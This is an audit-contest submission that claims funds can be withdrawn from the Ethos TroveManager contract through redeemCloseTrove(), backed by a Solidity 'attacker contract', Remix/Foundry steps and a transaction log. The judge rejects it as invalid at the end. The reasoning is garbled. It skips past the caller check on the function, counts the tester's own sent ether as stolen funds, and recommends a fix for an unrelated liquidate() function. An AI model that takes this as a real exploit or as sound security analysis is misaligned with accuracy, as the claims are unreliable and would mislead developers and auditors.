Withdrawal of funds using one single call to the redeemCloseTrove() function in TroveManager.sol

[code423n4]

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/TroveManager.sol#L715-L779 https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/TroveManager.sol#L939-L955

Vulnerability details

Impact

File: Ethos-Core/contracts/TroveManager.sol

Description:
Withdrawal of funds using one single call to the redeemCloseTrove() function in TroveManager.sol
I linked to a function called redeemCloseTrove in an attacker contract that was deployed to a TestTroveManager.sol contract in a local environment.
By using a call to the redeemCloseTrove function that links back to the TroveManager.sol contract from the attack redeemCloseTrove function in TestTroveManager.sol, I am able to withdraw funds from the TroveManager.sol contract. 

Impact:
Using the attacker contract called TestTroveManager.sol, I can withdraw money from the victim contract called TroveManager.sol.
It also costs the victim contract called TroveManager.sol gas.  Which is also known as Theft of gas.

# The function vulnerable follows:

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/TroveManager.sol#L939-L955

function redeemCloseTrove(
        address _borrower,
        address _collateral,
        uint256 _LUSD,
        uint256 _collAmount
    ) external override {
        _requireCallerIsRedemptionHelper();
        lusdToken.burn(gasPoolAddress, _LUSD);
        // Update Active Pool LUSD, and send ETH to account
        activePool.decreaseLUSDDebt(_collateral, _LUSD);

        // send ETH from Active Pool to CollSurplus Pool
        collSurplusPool.accountSurplus(_borrower, _collateral, _collAmount);
        activePool.sendCollateral(_collateral, address(collSurplusPool), _collAmount);

        emit TroveUpdated(_borrower, _collateral, 0, 0, 0, TroveManagerOperation.redeemCollateral);
    }

# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "TroveManager.sol".  Use git clone.
2. compile contract
3. go to deploy and run transactions tab
4. Install Foundry in CMD and call anvil to connect. > Go back to Remix IDE> Deploy Tab> set environment to Foundry Provider VM.
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 10000 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "TestTroveManager.sol" in the same folder as "TroveManager.sol".
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Foundry VM.  And set the value to 1000 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. Then select first account from "Account" drop list before next step.

Action
NB:
victim contract TroveManager.sol
attack contract TestTroveManager.sol

1. start balance of victim contract Balance: 10000 ETH
2. start balance of attack contract Balance: 1000 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 100000000000000000
5. On the pick-list next to value> select Wei.
6. click on the redeemCloseTrove() function button in attack contract in deployment section
7. end balance of victim contract Balance: 9999.899928237514776 ETH
8. end balance of attack contract Balance: 1000.1 ETH
9. Finally, 100000000000000000 Wei has been deducted from victim contract and deposited into the attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.

Proof of Concept

// SPDX-License-Identifier: BUSL-1.1

pragma solidity >=0.6.0 <0.9.0;

import "./Interfaces/ICollateralConfig.sol";
import "./Interfaces/ITroveManager.sol";
import "./Interfaces/IStabilityPool.sol";
import "./Interfaces/ICollSurplusPool.sol";
import "./Interfaces/ILUSDToken.sol";
import "./Interfaces/ISortedTroves.sol";
import "./Interfaces/ILQTYStaking.sol";
import "./Interfaces/IRedemptionHelper.sol";
import "./Dependencies/LiquityBase.sol";
// import "./Dependencies/Ownable.sol";
import "./Dependencies/CheckContract.sol";
import "./Dependencies/IERC20.sol";

import "./TroveManager.sol";

contract TestTroveManager {

    TroveManager public debo;
    address[] attacker0;
    uint256 amount = 1;
    address victim = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
    address attacker = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;

    constructor(TroveManager _debo) public payable {
        debo = TroveManager(_debo);
    }

    function array_address() external payable returns (address[1] memory) {
        address[1] memory attacker0 = [address(attacker)];
        return attacker0;
    }

    function redeemCloseTrove() external payable {
        if(msg.value >= 1 ether){
        //debo.batchLiquidateTroves(address(victim), attacker0);
        debo.redeemCloseTrove(
            address(victim),
            address(attacker),
            amount,
            amount
        );
        }
    }
}

# Log:
transact to TestTroveManager.redeemCloseTrove pending ... 
[block:2 txIndex:0]from: 0xf39...92266to: TestTroveManager.redeemCloseTrove() 0x846...318bCvalue: 100000000000000000 weidata: 0x79f...e3b38logs: 0hash: 0x061...50052
status  true Transaction mined and execution succeed
transaction hash    0xd70e96e5f71dc88ab68d36323993b8d6a9c2095fcd2a44bb8c9641ca11fda871
from    0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
to  TestTroveManager.redeemCloseTrove() 0x8464135c8F25Da09e49BC8782676a84730C318bC
gas 22331 gas
transaction cost    21206 gas 
input   0x79f...e3b38
decoded input   {}
decoded output   - 
logs    []
val 100000000000000000 wei

Tools Used

Tools Used: 
Remix IDE integrated with Foundry Provider Environment testing and deployment into an enclosed Foundry environment with a git clone of the repository.

Recommended Mitigation Steps

1. For function called liquidate(), move borrowers[0] = _borrower; to the top of function.

[c4-judge]

trust1995 marked the issue as unsatisfactory: Invalid